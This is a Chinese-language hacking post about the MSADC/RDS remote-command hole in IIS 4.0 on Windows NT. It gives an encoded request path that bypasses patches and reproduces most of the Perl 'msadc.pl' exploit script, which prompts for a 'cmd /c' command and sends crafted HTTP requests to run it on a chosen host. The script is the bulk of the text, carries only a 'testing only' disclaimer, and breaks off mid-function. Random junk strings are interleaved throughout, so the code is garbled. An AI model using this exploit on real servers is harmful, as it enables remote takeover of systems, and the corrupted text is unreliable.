IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
<g1hdF0 `5jB|r/ 涉及程序:
~g|0uO}. Microsoft NT server
B{7/A[$%C &=O1Qg=K 描述:
AS^$1i: 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
tce8*:rNH mK/P4]9g 详细:
7n]%`Yb 如果你没有时间读详细内容的话,就删除:
nM}`H'0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
$d[:4h~ 有关的安全问题就没有了。
5!fW&OiY vyy\^nL 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
N>\?Aeh JNCtsfd 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
w:(7fu= 关于利用ODBC远程漏洞的描述,请参看:
-zkL)<7 ``CADiM:S http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vK~KeZ\,p= OvG |= 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
wA&)y>n- http://www.microsoft.com/security/bulletins/MS99-025faq.asp Y\S^DJy iFchD\E*o 这里不再论述。
UHHKI)( k}qiIMdI 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
hvZR4|k> HaUo+,= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5ml}TSMu' 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
n:] 1^wX# =x]dP. glIIJ5d|, #将下面这段保存为txt文件,然后: "perl -x 文件名"
IcA~f@ nL~
b #!perl
m(]IxI #
Ka2tr]+s # MSADC/RDS 'usage' (aka exploit) script
SXF_)1QO\W #
aBLb i # by rain.forest.puppy
L#bQ`t #
JPKZU<:+V # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
M&-/&>n! # beta test and find errors!
"A3xX&9-q bUL9*{>G use Socket; use Getopt::Std;
' "
yl>" getopts("e:vd:h:XR", \%args);
be@uHikp;v 3o^M% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^Z+D7Q >1zzDd_ if (!defined $args{h} && !defined $args{R}) {
zt}p-U2I print qq~
,KaWP Usage: msadc.pl -h <host> { -d <delay> -X -v }
uS,$P34^oy -h <host> = host you want to scan (ip or domain)
f/m6q8!L{ -d <seconds> = delay between calls, default 1 second
6GvnyJ{[ -X = dump Index Server path table, if available
?QVI'R:Z? -v = verbose
-2d&Aq4m) -e = external dictionary file for step 5
brot&S2P>< T6#GlO)8) Or a -R will resume a command session
11+_OC2-
[)u{ - ~; exit;}
:E*U*#h/ IBsn>*ja< $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Z_+No :F7I if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
H4jqF~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3Re\ T if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Ev#aMK $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
. %7A7a if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
LXl! !i% yK3z3"1M? if (!defined $args{R}){ $ret = &has_msadc;
[hbIv die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
pQ8+T|0x s50ln&2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
}C}_
I:=C . "cmd /c ";
^123.Ru|t $in=<STDIN>; chomp $in;
w7u >|x! $command="cmd /c " . $in ;
`$- Ib^ ZZ7U^#RT if (defined $args{R}) {&load; exit;}
d5hE!= =<xbE;,0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
k=_@1b- &try_btcustmr;
DcHMiiVM z& jDO ex print "\nStep 2: Trying to make our own DSN...";
\$"Xr &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
CVp<SS( F{tSfKy2 print "\nStep 3: Trying known DSNs...";
L~~Yh{< &known_dsn;
JK^;-& Y?cw9uYB print "\nStep 4: Trying known .mdbs...";
|&vuK9q &known_mdb;
iSHl_/I< nrBitu, if (defined $args{e}){
!f6 print "\nStep 5: Trying dictionary of DSN names...";
:DJ@HY &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[*t EHW v(~m!8!TI print "Sorry Charley...maybe next time?\n";
qC1@p?8$ exit;
-^DB?j+ UtN>6$u
##############################################################################
Y[4B{ ow"Xv sub sendraw { # ripped and modded from whisker
RUKSGj_NJ sleep($delay); # it's a DoS on the server! At least on mine...
FO$Tn+\ 6 my ($pstr)=@_;
0
HmRl socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q2Rj0E` die("Socket problems\n");
AAcbY; if(connect(S,pack "SnA4x8",2,80,$target)){
Y{=@^4|] select(S); $|=1;
=d}3>YHS print $pstr; my @in=<S>;
v!Z 9T select(STDOUT); close(S);
UEUTu}4y return @in;
eHR<(8c'f } else { die("Can't connect...\n"); }}
pJ[Q.QxU iXFaQ ##############################################################################
9K!='u` h;->i] sub make_header { # make the HTTP request
-yeT $P&| my $msadc=<<EOT
ZI7<E POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6tguy User-Agent: ACTIVEDATA
c^y 1s* Host: $ip
R8l9i2 Content-Length: $clen
xJCpWU3wM Connection: Keep-Alive
)w-?|2-w5 CCV~nf ADCClientVersion:01.06
C#>C59 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
tUQ)q wG
O)!u 4 --!ADM!ROX!YOUR!WORLD!
c3##:"wr Content-Type: application/x-varg
.E&~]< Content-Length: $reqlen
kns]P<g |+;"^<T)l EOT
Fm"$W^H ; $msadc=~s/\n/\r\n/g;
8*wI^*Q return $msadc;}
HdM;c*K tANG ] ##############################################################################
32yNEP{ eORt
qX8* sub make_req { # make the RDS request
_q 8m$4 my ($switch, $p1, $p2)=@_;
K@m^QioMj my $req=""; my $t1, $t2, $query, $dsn;
kN)ev?pQ[ ~6tY\6$9f if ($switch==1){ # this is the btcustmr.mdb query
e 3K $query="Select * from Customers where City=" . make_shell();
Tx*m
p+q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`c(@WK4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
rzu^br9X n[@Ur2&